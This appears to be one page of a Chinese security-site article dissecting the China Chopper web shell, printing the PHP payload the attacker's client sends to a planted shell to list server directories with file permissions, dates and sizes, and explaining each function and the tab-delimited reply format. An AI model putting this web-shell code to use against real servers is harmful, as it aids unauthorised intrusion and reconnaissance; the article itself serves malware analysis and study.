欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

技术剖析中国菜刀原理

来源:本站转载 作者:Little Hann 时间:2013-08-29 TAG: 我要投稿
对代码进行一下整理:

$D=base64_decode($_POST["z1"]);
$F=@opendir($D);
if($F==NULL)
{
    echo("ERROR:// Path Not Found Or No Permission!");
}
else
{
    $M=NULL;
    $L=NULL;
    while($N=@readdir($F))
    {
        $P=$D."/".$N;
        $T=@date("Y-m-d H:i:s",@filemtime($P));
        @$E=substr(base_convert(@fileperms($P),10,8),-4);
        $R="\t".$T."\t".@filesize($P)."\t".$E." ";
        if(@is_dir($P))
            $M.=$N."/".$R;
        else 
            $L.=$N.$R;
    }
    echo $M.$L;
    @closedir($F);
};
echo("|<-");
die();

从W3C手册上抄来的:

opendir() 函数打开一个目录句柄,可由 closedir(),readdir() 和 rewinddir() 使用。

若成功,则该函数返回一个目录流,否则返回 false 以及一个 error。可以通过在函数名前加上 "@" 来隐藏 error 的输出。

 

readdir() 函数返回由 opendir() 打开的目录句柄中的条目。

若成功,则该函数返回一个文件名,否则返回 false。

 

fileperms() 函数返回文件或目录的权限。

若成功,则返回文件的访问权限。若失败,则返回 false。

 

base_convert() 函数在任意进制之间转换数字。

语法

base_convert(number,frombase,tobase)

 

filesize() 函数返回指定文件的大小。

若成功,则返回文件大小的字节数。若失败,则返回 false 并生成一条 E_WARNING 级的错误。

 

从代码可以清楚地看出,在接收z1=C:\\inetpub\\wwwroot\\这个参数后,代码打开指定目录的句柄,然后进行循环扫描,并附带上权限、时间、大小、日期这四个参数,用\t制表符拼在一起捆绑发送回客户端,这是一种很常见的做法,将所有的需要的参数用一个定界符分开然后捆绑发送,到客户端怎么做呢?根据我自己的C变成经验,一定是用string_split之类的函数分开来,再循环一一显示在UI上,如果想要深究可以用IDA和OD逆向分析一下。

上一页  [1] [2] [3] [4] [5] [6] [7]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载